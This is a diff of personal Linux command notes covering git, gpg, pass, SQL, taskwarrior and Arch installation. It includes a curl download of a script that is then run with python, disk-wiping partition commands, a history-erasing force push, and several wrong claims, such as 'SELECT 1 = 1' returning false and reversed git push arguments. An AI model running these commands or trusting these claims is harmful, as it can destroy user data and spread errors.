Or a directory with:
```bash
git lfs track "images/"
```
> git lfs track "images/"
All changes require adding `.gitattributes`.

146
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@ -6,140 +6,93 @@ tags: [ "Documentation", "data" ]
## New Machines
```bash
git config --global user.email "$YOUR_EMAIL"
```
> git config --global user.email *"malinfreeborn@posteo.net"*
```bash
git config --global user.name "$YOUR_NAME"
```
> git config --global user.name *"Malin Freeborn"*
# New Git
Start a git in directory `$DIR`:
Start a git in a folder:
```bash
mkdir $DIR && cd $DIR
```
> mkdir *project* && cd *project*
```bash
git init
```
> git init
Make a file explaining what the project does:
```bash
vim README.md
```
> vim README.md
Add this to the git:
```bash
git add README.md
```
> git add README.md
Then make the initial commit, explaining the change you just made:
```bash
git commit
```
> git commit
# Working
Once you make a change to some file, add it and make a commit explaining it.
Once you make a change to some file ("file.sh"), add it and make a commit explaining it.
```bash
git add $FILE
```
> git add file.sh
```bash
git commit -m"change $FILE"
```
> git commit -m"change file.sh"
Check your history:
```bash
git log
```
> git log
# Remotes
If you want to keep a copy on a public site such as Gitlab, so others can see it, then go there and create a blank project (no readme, nothing).
Give it the same name as the `$DIR` directory, above.
Find the address you want and add it as a remote:
Add this as a remote:
```bash
REMOTE=gitlab
git remote add $REMOTE https://gitlab.com/$USERNAME/$DIR
```
> git remote add *gitlab* *https://gitlab.com/username/projectx*
Tell git you're pushing the branch "master" to the remote repo "origin":
```bash
git push -u master origin
```
> git push -u master origin
If someone makes a change on the remote, pull it down with:
```bash
git pull
```
> git pull
# Branches
A branch is a full copy of the project to test additional ideas.
You can make a new branch called 'featurez' like this:
```bash
git branch *featurez*
```
> git branch *featurez*
Have a look at all your branches:
```bash
git branch
```
> git branch
Switch to your new branch:
```bash
git checkout *featurez*
```
> git checkout *featurez*
And if your changes are rubbish, checkout the "master" branch again, then delete "featurez":
```bash
git branch -D *featurez*
```
> git branch -D *featurez*
Or if it's a good branch, push it to the remote:
```bash
git push *origin* *featurez*
```
> git push *origin* *featurez*
## Merging
Once you like the feature, merge it into the main branch. Switch to master then merge it:
```bash
git merge *featurez*
```
> git merge *featurez*
and delete `featurez` as you've already merged it:
```bash
git branch -d featurez
```
> git branch -d featurez
# Subtree
## Pulling another git repo into a subtree
```bash
git subtree add -P config git@gitlab.com:bindrpg/config.git master
```
> git subtree add -P config git@gitlab.com:bindrpg/config.git master
## Pulling a Subtree from an existing git
@ -147,17 +100,13 @@ The project has subdirectories sub-1,sub-2,sub-3. The first should be its own r
First, we extract its history as an independent item, and make that into a seprate branch.
```bash
git subtree split --prefix=sub-1 -b sub
```
> git subtree split --prefix=sub-1 -b sub
If you want something a few directories deep, you can use `--prefix=sub-1/dir-2/dir-3
Then go and create a new git somewhere else:
```bash
cd ..;mkdir sub-1;cd sub-1;git init --bare
```
> cd ..;mkdir sub-1;cd sub-1;git init --bare
Then go back to your initial git repo, and do the following:
@ -165,57 +114,38 @@ git push ../subtest sub:master
Finally, you can clone this repo from your original.
```bash
git clone ../subtest
```
> git clone ../subtest
# Tricks
## Delete All History
```bash
git checkout --orphan temp
```
> git checkout --orphan temp
```bash
git add -A
```
> git add -A
```bash
git commit -am "release the commits!"
```
> git commit -am "release the commits!"
```bash
git branch -D master
```
> git branch -D master
```bash
git branch -m master
```
> git branch -m master
```bash
git push -f origin master
```
> git push -f origin master
Gitlab requires more changes, such as going to `settings > repository` and switching the main branch, then stripping protection.
## Clean up Bloated Repo
```bash
git fsck --full
```
> git fsck --full
```bash
git gc --prune=now --aggressive
```
> git gc --prune=now --aggressive
```bash
git repack
```
> git repack
## Find Binary Blobs
```bash
```
git rev-list --objects --all \
| git cat-file --batch-check='%(objecttype) %(objectname) %(objectsize) %(rest)' \
| sed -n 's/^blob //p' \

54
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@ -0,0 +1,54 @@
---
title: "gpg keys with ssh"
tags: [ "Documentation", "distros" ]
---
<!--
Source:
https://ryanlue.com/posts/2017-06-29-gpg-for-ssh-auth
-->
Install `gnupg`.
Generate a new gpg key just for authentication:
> gpg2 --expert --edit-key 024C6B1C84449BD1CB4DF7A152295D2377F4D70F
Toggle options `S`, `E`, and `A` until the following output:
```
Current allowed actions: Authenticate
```
Add ssh to the gpg key agent.
> echo enable-ssh-support >> ~/.gnupg/gpg-agent.conf
This won't take effect until you restart the gpg agent, so kill it:
> gpgconf --kill gpg-agent
> gpgconf --launch gpg-agent
Use 2048 (or whatever) bits, save, and exit.
Add this to your `~/.bash_profile`:
```
export SSH_AUTH_SOCK=$(gpgconf --list-dirs agent-ssh-socket)
```
> source ~/.bash_profile
Find the ssh key's keygrip with:
> gpg -k --with-keygrip
It's the one with `[A]` next to it.
Add it to `~/.gnupg/sshcontrol`.
> echo 1P0P6SA7S07Q8198414P126OR0514R3R8Q1389SP > ~/.gnupg/sshcontrol
Confirm it's added:
> ssh-add -l

52
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@ -6,17 +6,13 @@ tags: [ "Documentation", "data" ]
Generate keys:
```bash
gpg --gen-key
```
> gpg --gen-key
Follow the guide.
# Encrypting a file
```bash
gpg -r malinfreeborn@posteo.net -e file
```
> gpg -r malinfreeborn@posteo.net -e file
`-r` specifies the recipient.
@ -32,15 +28,11 @@ gpg --list-keys
Make a password with a password (cypher encryption).
```bash
gpg -c --output passwords.txt
```
> gpg -c --output passwords.txt
or
```bash
gpg -c > passwords.txt
```
> gpg -c > passwords.txt
Put in a password.
@ -48,23 +40,17 @@ Write message then stop with Ctrl+d.
Get the message back out the file with:
```bash
gpg -d passwords.txt
```
> gpg -d passwords.txt
# Circles of Trust
Search for a key at any key store:
```bash
gpg --search-keys nestorv
```
> gpg --search-keys nestorv
Once you've made a decision about someone:
```bash
gpg --list-keys
```
> gpg --list-keys
You get something like this:
@ -81,39 +67,27 @@ This is a fingerprint.
You can now decide the trust level (this stays on your computer).
```bash
gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
```
> gpg --edit-key *CD30421FD825696BD95F1FF644C62C57B790D3CF*
Once you're in the interface, type `trust`.
```bash
gpg --sign-key alice@posteo.net
```
> gpg --sign-key alice@posteo.net
Then send those trusted keys up to a server, so people can see you have verified them:
```bash
gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
```
> gpg --send-keys *024C6B1C84449BD1CB4DF7A152295D2377F4D70F*
# Refresh Keys
```bash
gpg --refresh-keys
```
> gpg --refresh-keys
# Export
Your public key:
```bash
gpg --output *me*.gpg --armor --export
```
> gpg --output *me*.gpg --armor --export
or
```bash
gpg --export -a *person@email.tld* > *my_key*.pub
```
> gpg --export -a *person@email.tld* > *my_key*.pub

40
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@ -4,57 +4,37 @@ tags: [ "Documentation", "Data" ]
---
Get the basic config:
```bash
mkdir ~/.config/khard
```
> mkdir ~/.config/khard
```bash
cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
```
> cp /usr/share/doc/khard/examples/khard/khard.conf.example ~/.config/khard.conf
Short list
```bash
khard list
```
> khard list
Longer list
```bash
khard show
```
> khard show
Show from addressbook 'work'
```bash
khard list -a work
```
> khard list -a work
Make a new contact in address book 'family'
```bash
khard new -a family
```
> khard new -a family
```bash
khard edit grampa
```
> khard edit grampa
```bash
khard remove bob
```
> khard remove bob
Move contact 'nina' from 'work' to 'home' address book.
```bash
khard move -a home nina -A work
```
> khard move -a home nina -A work
## Advanced
Merge:
```bash
khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]
```
> khard merge [-a source_abook] [-u uid|search terms [search terms ...]] [-A target_abook] [-U target_uid|-t target_search_terms]

26
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@ -4,13 +4,9 @@ tags: [ "Documentation", "RSS" ]
---
Create the configuration directory before you start, and add at least 1 URL.
```bash
mkdir ~/.config/newsboat
```
> mkdir ~/.config/newsboat
```bash
echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
```
> echo 'https://voidlinux.org/atom.xml foss tech' >> ~/.config/newsboat/urls
Start `newsobat` and press `r` to load your feed.
@ -28,9 +24,7 @@ You can input a Youtube channel by adding this, with the channel's ID at the end
To get the channel ID without hunting:
```bash
curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
```
> curl *'https://www.youtube.com/@1minfilms'* | grep -oE 'browseId":"U\w+"' | tail | cut -d'"' -f3
You can add arbitrary commands to get an RSS feed.
For example, to get a Gemini feed, install `gemget`, then put this in the configuration file:
@ -64,11 +58,9 @@ Or or `,o` to open an article in w3m:
Add vim-like keys:
> bind-key j next
> bind-key k prev
> bind-key j down article
> bind-key k up article
```
bind-key j next
bind-key k prev
bind-key j down article
bind-key k up article
```

26
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@ -8,35 +8,21 @@ Setup [gpg](./gpg.md) keys.
Show your gpg secret it:
```bash
gpg --list-secret-keys
```
> gpg --list-secret-keys
Then use the id number under `sec` to make a pass repo:
```bash
KEY="$(gpg --list-secret-keys | grep -m 1 -A1 '^sec' | tail -n 1)"
```
> pass init 187233O300300814PQ793NSSS539SQ1O6O184532
```bash
pass init $KEY
```
To add a basic password, e.g. for an encrypted tarball, use:
To add a basic password, e.g. for `$WEBSITE`:
```bash
pass $WEBSITE
```
> pass add my-tar-gar.gz
To insert a multiline password, e.g. with a login name:
```bash
pass add -m $WEBSITE
```
> pass add -m linuxrocks.online
Remove a password:
```bash
pass rm $WEBSITE
```
> pass rm linuxrocks.online

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@ -12,13 +12,10 @@ Arch: tesseract-data-eng and poppler-utils
## Script
```bash
pdftoppm -png *file*.pdf test
```
> pdftoppm -png *file*.pdf test
```bash
for x in \*png; do
tesseract -l eng "$x" - >> *out*.txt
done
```
> for x in \*png; do
> tesseract -l eng "$x" - >> *out*.txt
> done
- [Example script](data/pdf-to-txt.sh)

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@ -0,0 +1,364 @@
---
title: "postgresql"
tags: [ "Documentation", "data" ]
---
# Setup
Install postgres and start it as a service, then start with:
> psql
## Arch setup
> su -l postgres
> initdb -D /var/lib/postgres/data
## Make a database as the new user postgres
> sudo su postgres
> [postgres] echo $HOME
> [postgres]
> [postgres] CREATE DATABASE dvdrental;
## Sample Data
Get sample data.
> wget http://www.postgresqltutorial.com/wp-content/uploads/2019/05/dvdrental.zip
And then get the pdf mapping the sample data:
> wget http://www.postgresqltutorial.com/wp-content/uploads/2018/03/printable-postgresql-sample-database-diagram.pdf
Unzip and load sample data:
> unzip dvdrental.zip
> sudo su postgres
> [postgres] $ pg_restore -U postgres -d dvdrental dvdrental.tar
> [postgres]
# Commands
## Basics
List available databases.
> \l
You'll see a list of available databases like:
`dnd`
`dvdrentals`
Then you can connect to one:
> \c dvdrental
And have a look at what tables it has:
> \d dvdrental
If it has tables such as `language`, `film_actor` and `inventory`, you can see the table's settings with:
> \dt film_actor
And pull back the entire table:
> SELECT * from film_actor;
## Various
Connect to 231.13.48.38 with user 'bob', port 1234, database 'X'
> psql -h 231.13.48.38 -p1234 -U bob X
# Setup Yourself
Make database "test" and connect to it.
> CREATE DATABASE test;
> \l test
Delete database 'dogs':
> DROP DATABASE dogs;
Making a table has a basic form of:
`CREATE TABLE table_name (`
then [ column name ] + [data type ] ... (and possibly data constraints)
`)`
|Data Types | Meaning | Constraints |
|:----|:----|:----|
| BIGSERIAL | A number incrementing by one each entry | 'NOT NULL PRIMARY KEY (so it's used for relational reference) |
| int | integer | (50) limits the table to 50, e.g. `int(50)`|
| VARCHAR | any characters | limit, e.g.`VARCHAR(70)`|
| TIMESTAMP | time | |
| date | date | |
| text | text? | |
| tsquery | text search query | |
| money | money | |
| json | textual JSON data | |
| cidr | ipv4 or 6 address | |
| macaddr | mac address | |
E.g.
```
CREATE TABLE character (
id int,
str int(1),
dex int(1),
spd int(1),
int int(1),
wts int(1),
cha int(1));
```
See your table:
> \d
Look at what columns you have there:
> \d character
But this allows for empty characters, so...
```
CREATE TABLE person (
id BIGSERIAL NOT NULL PRIMARY KEY,
first_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
last_name VARCHAR(50) NOT NULL,
gender VARCHAR(7) NOT NULL,
date_of_birth DATE NOT NULL,
);
```
Delete with
> DROP TABLE person;
## Inserting Data
```
INSERT INTO person (
first_name,
last_name,
gender,
date_of_birth)
VALUES ('Hugi','Smith','DWARF', date '200-01-12');
```
## Selecting Data
You can also mass select by choosing to insert a file. Download example data [here](https://mockaroo.com/).
> \i /home/ghost/file.sql
Various querries:
> SELECT * FROM person;
> SELECT * FROM person ORDER BY id DESC;
> SELECT * FROM person
## Offset, Fetch and Limit
'Limit' is not official, but was accepted later:
> SELECT * FROM person ORDER BY country ASC LIMIT 10;
The official way to make a limit is 'FIRST 5 ROWS ONLY:
> SELECT * FROM person OFFSET 5 FETCH FIRST 5 ROWS ONLY;
> SELECT * FROM person where gender = 'Male' AND ( country_of_birth = 'Poland' OR country_of_birth = 'China');
Miss out the first 5 result with 'OFFSET 5'.
> SELECT p\* FROM PERSON WHERE gender = 'Female' AND country_of_birth = 'Kosovo' OFFSET 5;
> SELECT * FROM person OFFSET 5 FETCH FIRST 7 ROW ONLY;
## Advanced Selection
This query takes a lot of typing:
> SELECT * FROM person WHERE country_of_birth = 'China'
> OR country_of_birth = 'Kosovo'
> OR country_of_birth = 'Brazil';
You can write the same thing with less typing:
> SELECT *
> FROM person
> WHERE country_of_birth in ('China','Kosovo','Brazil');
> SELECT * FROM person
> WHERE date_of_birth
BETWEEN DATE '2018-04-10' AND '2019-01-01'
> ORDER BY date_of_birth;
### Rough Search
Similar words - we can find emails ending in '.com'.
> SELECT * FROM person
> WHERE email LIKE '%.com';
Or any gmail address:
> SELECT * FROM person
> WHERE email LIKE '%@gmail.%';
Or particular characters, where three precede 'gmail.com' and it's case insensitive:
> SELECT * FROM person
> WHERE email iLIKE '\_\_\_@gmail.com';
### Groups and Aggregates
Select all countries as a complete mess:
> SELECT country_of_birth FROM person;
Select countries with proper grouping:
> SELECT country_of_birth FROM person GROUP BY country_of_birth;
Select countries and count instances:
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth ORDER BY country_of_birth;
Also select a minimum number with 'having'. What you have must be before 'order by'.
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) > 5;
> SELECT country_of_birth, COUNT(\*) FROM person GROUP BY country_of_birth HAVING COUNT(\*) >= 10;
Other aggregates include 'max', 'min'.
Select most expensive car:
> SELECT MAX(price) FROM car;
> SELECT MIN(price) FROM car;
> SELECT AVG(price) FROM car;
We can stick items together for better grouping:
> SELECT make, model, MAX(price) FROM car GROPU BY make, model;
Select all fields from table 'car', and add a column containing another price, discounted to 90%, rounded to two decimal places.
> SELECT id,make,model,price,ROUND(price * .9, 2) from car;
Same thing, but take 10% of the price from the price.
> SELECT id,make,model,price,ROUND(price - (price * .1), 2) from car;
## Comparison
> SELECT 10 + 2^2;
> SELECT 10! * 2 - 3;
... et c.
This returns false:
> SELECT 1 = 1;
These return false:
> SELECT 2<1;
Or '1 is not equal to 1':
> SELECT 1<>1;
And with strings, 'G is not the same as g':
> SELECT 'G'<>'g';
### Car Disconts
You want to show the discounts on various cars. You check which columns are available and select all of them:
> \d car
> SELECT id,make,model,price FROM car;
## Aliases
You can change what a column name appears as with:
> select price AS original_price from car;
# Null Values
## Coalesce
You can input a series of entries, requesting the first one which is present. Here we input three entries which are 'null', and a third which is '2', so '2' is selected:
> SELECT COALESCE(null, null, 2) AS number;
When selecting column 'email' from table 'person', you can input the string 'Email not provided' if there is no email provided:
> SELECT COALESCE(email, 'Email not provided') from person;
## Nullif
Normally, devision by 0 produces an error:
> SELECT 10/ 0;
But 10 divided by 'null' produces only 'null', which is not an error.
The 'nullif' statement takes two numbers, and returns 'null' iff the numbers are the same as each other.
> select nullif(0,0)
> select nullif(10,10)
# Date
Select date:
> SELECT NOW()::DATE;
> SELECT NOW()::TIME;
or just:
> SELECT NOW();
More [here](postgresql.org/docs/11/datatype-datetime.html).
2h23m

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@ -0,0 +1,94 @@
---
title: "sql"
tags: [ "Documentation", "data" ]
---
MySQL, Aurora and the Maria Database work similarly, and mostly with the same commands.
MySQL requires 160 Megs of disk space.
The ontological layers go:
> Database > table > record > field
The record is a line containing multiple fields. The table contains multiple records.
## Database: RPGs
### Table: D&D
#### Columns:
| id | name | year | edition | stars |
|:--:|:-------------------|:-----|:--------|:------|
| 1 | Dungeons & Dragons | 1975 | 1 | 1 |
| 2 | Dungeons & Dragons | 1980 | 2 | 1 |
| 3 | Advanced Dungeons & Dragons | 1985 | 1 | 1 |
# Getting started
> sudo apt-get install mysql-server
You'll be asked for a password.
Log in with:
> mysql -u root -p
The -u requests a user, while -p tells it to prompt for a password.
List all databases:
> show databases;
Make a new database;
> create database creatures;
Start work on the new database:
> use creatures;
> create table stats (Strength VARCHAR(2), Speed VARCHAR(2), Dexterity(2));
This creatures a row called 'stats' within the 'creature'table' with a number of variables, all of type VARCHAR (a variable length character string).
Now you can insert data (which would normally be provided by a user via php or some-such).
> insert into stats (Strength,Speed,Dexterity) values (-1,0,+1)
Now have a look at the info:
> select * from stats
The old way to delete info by selection was:
> delete * from stats where Charisma='0'
...but now it's:
> delete from stats where Charisma='0'
Update a thing:
> update stats
> set Speed='-1',Charisma='-2'
> where Strength=0;
Leaving out the specifier 'where' means you're updating the entire database.
Control order with
> SELECT * FROM stats ORDER BY Strength;
Or for descending order, suffix 'DESC'.
> select * from stats ORDER by Date DESC;
# Resources
Try more at [w3schools](http://www.w3schools.com/sql/sql_groupby.asp).

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@ -5,137 +5,95 @@ tags: [ "Documentation", "Organization" ]
Set up the configuration file:
```bash
task
```
> task
Add a task:
```bash
task add update linux
```
> task add *update linux*
See which task is next:
```bash
task next
```
> task next
Note the id number.
Mark a task as started:
```bash
task start 1
```
> task start *1*
Once finished:
```bash
task 1 done
```
> task *1 done*
# Projects
Add a project:
```bash
task add project:house buy potted plant
task add proj:house.repair buy screwdriver
task add proj:house.repair buy shelf brackets
task add pro:house.paint buy white paint
task add pro:house.paint buy red paint
task add pro:house.paint buy black paint
task add pro:house.paint buy brushes
```
> task add project:*house buy potted plant*
> task add proj:*house.repair buy screwdriver*
> task add proj:*house.repair buy shelf brackets*
3 task add pro:*house.paint buy white paint*
> task add pro:*house.paint buy red paint*
> task add pro:*house.paint buy black paint*
> task add pro:*house.paint buy brushes*
## Summary
```bash
task pro:house sum
```
> task pro:house sum
```bash
task burndown.daily pro:house
```
> task burndown.daily pro:house
The summaries will show how fast a project is being completed, and when you can expect it to finish at the present rate.
# Tags
```bash
task add +buy toothbrush
```
> task add +buy toothbrush
You can then see only tasks which involve buying something with:
```bash
task +buy
```
> task +buy
# Contexts
Set three contexts by their tags:
```bash
task context define work +sa or +hr
```
> task context define *work +sa or +hr*
```bash
task context define study +ed or +void or +rat
```
> task context define *study +ed or +void or +rat*
```bash
task context define home -sa -hr -ed -void -rat
```
> task context define *home -sa -hr -ed -void -rat*
Change to the first context.
```bash
task context work
```
> task context *work*
Then stop.
```bash
task context none
```
> task context none
# Review
View list of tasks completed in the last week:
```bash
task end.after:today-1wk completed
```
> task end.after:today-1wk completed
# User Defined Attributes
Make a UDA 'size'.
```bash
task config uda.size.type string
```
> task config uda.size.type string
```bash
task config uda.size.label Size
```
> task config uda.size.label Size
```bash
task config uda.size.values large,medium,small
```
> task config uda.size.values large,medium,small
```bash
uda.size.default=medium
```
> uda.size.default=medium
# Tricks
This command shows tasks I'm most interested in:
```bash
task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
```
> task next +ACTIVE or +OVERDUE or due:today or scheduled:today or pri:H
The command is long, so `alias` is your friend.

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@ -6,88 +6,76 @@ tags: [ "Documentation", "Data" ]
Try:
```bash
timew summary :yesterday
```
> timew summary :yesterday
You can also use :week, :lastweek, :month, :quarter, :year, or a range such as:
```bash
timew summary today to tomorrow
timew today - tomorrow
2018-10-15T06:00 - 2018-10-17T06:00
```
> timew summary today to tomorrow
> timew today - tomorrow
> 2018-10-15T06:00 - 2018-10-17T06:00
Each of these can gain with the :ids tag.
# Basics
```bash
timew start
timew stop
timew continue
timew summary
timew tags
```
> timew start
> timew stop
> timew continue
> timew summary
> timew tags
And add ids with:
```bash
timew summary :ids
timew track 10am - 1pm timewarrior
timew track 1pm for 2h walk
```
> timew summary :ids
> timew track 10am - 1pm timewarrior
> timew track 1pm for 2h walk
# Adjusting Timewarrior
First get ids.
```bash
timew summary :ids
```
> timew summary :ids
Then if we're looking at task @2:
```bash
timew move @2 12:00
timew lengthen @2 3mins
```
> timew move @2 12:00
```bash
time shorten @2 40mins
```
> timew lengthen @2 3mins
> time shorten @2 40mins
# Forgetting
```bash
timew start 1h ago @4
```
> timew start 1h ago @4
Or if your action actually had a break:
```bash
timew split @8
```
> timew split @8
Or maybe not?
```bash
timew join @4 @8
timew @8 delete
```
> timew join @4 @8
> timew @8 delete
Start at previous time
```bash
timew start 3pm 'Read chapter 12'
timew start 90mins ago 'Read chapter 12'
```
> timew start 3pm 'Read chapter 12'
> timew start 90mins ago 'Read chapter 12'
Cancel currently tracked time.
```bash
timew cancel
```
> timew cancel
# Backdated tracking
@ -141,29 +129,25 @@ task end.after:today-1wk completed
Replace
> os.system('timew start ' + combined + ' :yes')
`os.system('timew start ' + combined + ' :yes')`
with:
> os.system('timew start ' + combined.decode() + ' :yes')
`os.system('timew start ' + combined.decode() + ' :yes')`
and
> os.system('timew stop ' + combined + ' :yes')
`os.system('timew stop ' + combined + ' :yes')`
with:
> os.system('timew stop ' + combined.decode() + ' :yes')
`os.system('timew stop ' + combined.decode() + ' :yes')`
# Fixing Errors
```bash
curl -O https://taskwarrior.org/download/timew-dbcorrection.py
```
> curl -O https://taskwarrior.org/download/timew-dbcorrection.py
```bash
python timew-dbcorrections.py
```
> python timew-dbcorrections.py
# Setup

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@ -4,9 +4,7 @@ tags: [ "Documentation", "browsers" ]
---
Open a search tab:
```bash
w3m ddg.gg
```
> w3m ddg.gg
<Tab> then enter to start typing.

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@ -7,9 +7,7 @@ tags: [ "Documentation", "Distros", "Arch" ]
Edit `/etc/systemd/system/getty@tty1.service.d/override.conf` by typing:
```bash
sudo systemctl edit getty@tty1
```
> sudo systemctl edit getty@tty1
The put in the following, changing `[ USER ]` to your username.

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@ -4,150 +4,94 @@ tags: [ "Documentation", "arch" ]
---
Keyboard layout changed.
```bash
ls /usr/share/kbd/keymaps/**/*.map.gz
```
> ls /usr/share/kbd/keymaps/**/*.map.gz
```bash
loadkeys uk.map.gz
```
> loadkeys uk.map.gz
Check if boot mode is UEFI
```bash
ls /sys/firmware/efi/efivars
```
> ls /sys/firmware/efi/efivars
Without efivars, the system must boot with BIOS.
# Check network's up
```bash
ping archlinux.org
```
> ping archlinux.org
Set system clock properly
```bash
timedatectl set-ntp true
```
> timedatectl set-ntp true
Check disks
```bash
lsblk
```
> lsblk
Make partition
```bash
parted -s /dev/sda mklabel gpt
```
> parted -s /dev/sda mklabel gpt
```bash
parted -s /dev/sda mklabel msdos
```
> parted -s /dev/sda mklabel msdos
```bash
parted -s /dev/sda mkpart primary ext4 512 100%
```
> parted -s /dev/sda mkpart primary ext4 512 100%
```bash
parted -s /dev/sda set 1 boot on
```
> parted -s /dev/sda set 1 boot on
```bash
mkfs.ext4 /dev/sda1
```
> mkfs.ext4 /dev/sda1
Use pacstrap to get the base install.
```bash
mount /dev/sda1 /mnt/
```
> mount /dev/sda1 /mnt/
```bash
pacstrap /mnt base base-devel vim linux linux-firmware
```
> pacstrap /mnt base base-devel vim linux linux-firmware
Make fstab notes for new system.
```bash
genfstab -U /mnt >> /mnt/etc/fstab
```
> genfstab -U /mnt >> /mnt/etc/fstab
```bash
arch-chroot /mnt
```
> arch-chroot /mnt
```bash
echo 'en_GB.UTF-8' > /etc/default/locale
```
> echo 'en_GB.UTF-8' > /etc/default/locale
```bash
pacman -Sy networkmanager grub
```
> pacman -Sy networkmanager grub
For legacy:
```bash
grub-install --target=i386-pc /dev/sda
```
> grub-install --target=i386-pc /dev/sda
For EFI:
```bash
sudo pacman -S efibootmgr
```
> sudo pacman -S efibootmgr
```bash
mkdir /boot/efi
```
> mkdir /boot/efi
```bash
grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```
> grub-install --target=x86_64-efi --efi-directory=/boot/efi --bootloader-id=GRUB --remmovable
```bash
grub-mkconfig -o /boot/grub/grub.cfg
```
> grub-mkconfig -o /boot/grub/grub.cfg
set local time
```bash
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
```
> ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
Find the desired locale's and uncomment them.
```bash
vi /etc/locale.gen
```
> vi /etc/locale.gen
```bash
locale-gen
```
> locale-gen
Make your keyboard changes permenent with:
```bash
vi /etc/vconsole.conf
```
> vi /etc/vconsole.conf
Then set: `KEYMAP=uk.map.gz`
unsure about this bit - is this name just for the loadkeys function?
Make a hostname
```bash
echo pc > /etc/hostname
```
> echo pc > /etc/hostname
Set hostnames for network, or at least your own.
```bash
vi /etc/hosts
```
> vi /etc/hosts
# This should have the following, at least:
@ -159,27 +103,17 @@ If the system has a permanent IP address, it should be used instead of localhost
Ping some sites to make sure the network's working
```bash
passwd
```
> passwd
```bash
exit
```
> exit
```bash
umount -R /mnt
```
> umount -R /mnt
Remove that awful beep sound:
```bash
rmmod pcspkr
```
> rmmod pcspkr
...and make the change permanent:
```bash
sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf
```
> sudo echo "blacklist pcspkr" >> /etc/modprobe.d/nobeep.conf

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@ -0,0 +1,98 @@
---
title: "encrypted"
tags: [ "Documentation", "distros" ]
---
> # taken from https://0x00sec.org/t/arch-linux-with-lvm-on-luks-dm-crypt-disk-encryption-installation-guide-legacy-bios-system/1479
> # if you need wifi
> wifi-menu
> timedatectl set-ntp true
> fdisk -l
> parted /dev/sda
> (parted) mklabel msdos
> (parted) mkpart primary ext2 1MB 512MB
> (parted) mkpart primary ext4 512MB 100%
> (parted) print
> (parted) set 1 boot on
> (parted) quit
> fdisk -l
> cryptsetup luksFormat /dev/sda2
> # make a name. Here I use "crypt".
cryptsetup open /dev/sda2 crypt
> pvcreate /dev/mapper/crypt
> # now a group name - "usb"
> vgcreate usb /dev/mapper/crypt
> lvcreate -L 8GB usb -n swap
> lvcreaate -L 30G usb -n root
> lvcreate -l 100%FREE usb -n home
> mkfs.ext4 /dev/mapper/usb-home
mkfs.ext4 /dev/mapper/usb-root
> mkswap /dev/mapper/usb-swap
> mkfs.ext2 /dev/sda1
> mount /dev/mapper/usb-root /mnt
mkdir /mnt/home
> mount /dev/mapper/usb-home /mnt/home
mkdir /mnt/boot
> mount /dev/sda1 /mnt/boot
swapon /dev/mapper/usb-swap
pacstrap -i /mnt base base-devel efibootmgr grub
genfstab -U /mnt >> /mnt/etc/fstab
arch-chroot /mnt
############ new root #############
ln -sf /usr/share/zoneinfo/Europe/Belgrade /etc/localtime
# uncomment en_GT.UTF-8
> vi /etc/locale.gen
> locale-gen
> # add `LANG=en_GB.UTF-8` to /etc/locale.conf
> vi /etc/locale.conf
> echo crypt > /etc/hostname
> # make sure keyboard encrypt lvm2 are on the list of HOOKS
> vi /etc/mkinitcpio.conf
> grub-install /dev/sda
> vi /etc/default/grub
edit the GRUB_CMDLINE_LINUX=""
`GRUB_CMDLINE_LINUX="cryptdevice=/dev/sda2:usb root=/dev/mapper/usb-root"`
> grub-mkconfig -o /boot/grub/grub.cfg
> mkinitcpio -p linux
> pacman -S wpa_supplicant dialog

12
distros/arch/fonts.md
View File

@ -6,20 +6,14 @@ tags: [ "Documentation", "distros" ]
Update font-cache:
```bash
fc-cache
```
> fc-cache
List fonts:
```bash
fc-list
```
> fc-list
Grab the part of the font name you need for Xresources:
```bash
fc-list | cut -d: -f2
```
> fc-list | cut -d: -f2
Add field 3 for styles.

28
distros/arch/gpu.md
View File

@ -13,17 +13,13 @@ Include = /etc/pacman.d/mirrorlist
And update:
```bash
sudo pacman -Syu
```
> sudo pacman -Syu
# Step 2: Check Card Manufacturer
Check your graphics card type:
```bash
lspci | grep VGA
```
> lspci | grep VGA
# Step 3: Install Drivers
@ -31,33 +27,23 @@ lspci | grep VGA
If you see `Nvidia`, then install the intel drivers:
```bash
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
```
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader
## Step 3B
If you see `Intel`, then install the intel drivers:
```bash
sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
```
> sudo pacman -S --needed lib32-mesa vulkan-intel lib32-vulkan-intel vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-intel
## Step 3C
If you see `AMD`, then check your card support `vulkan`:
```bash
yay -S gpu-viewer
```
> yay -S gpu-viewer
```bash
vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
```
> vulkaninfo | grep 'VkPhysicalDeviceVulkanMemoryModelFeatures' -A 3
You should see 'true' here.
```bash
sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu
```
> sudo pacman -S --needed lib32-mesa vulkan-radeon lib32-vulkan-radeon vulkan-icd-loader lib32-vulkan-icd-loader xf86-video-amdgpu

28
distros/arch/pacman.md
View File

@ -7,15 +7,11 @@ Packages are kept in /var/cache/pacman/pkg.
Delete unused old packages with:
```bash
sudo pacman -Sc
```
> sudo pacman -Sc
Signatures are handled by the pacman-key, initially set up with:
```bash
sudo pacman-key --populate archlinux
```
> sudo pacman-key --populate archlinux
And refreshed with:
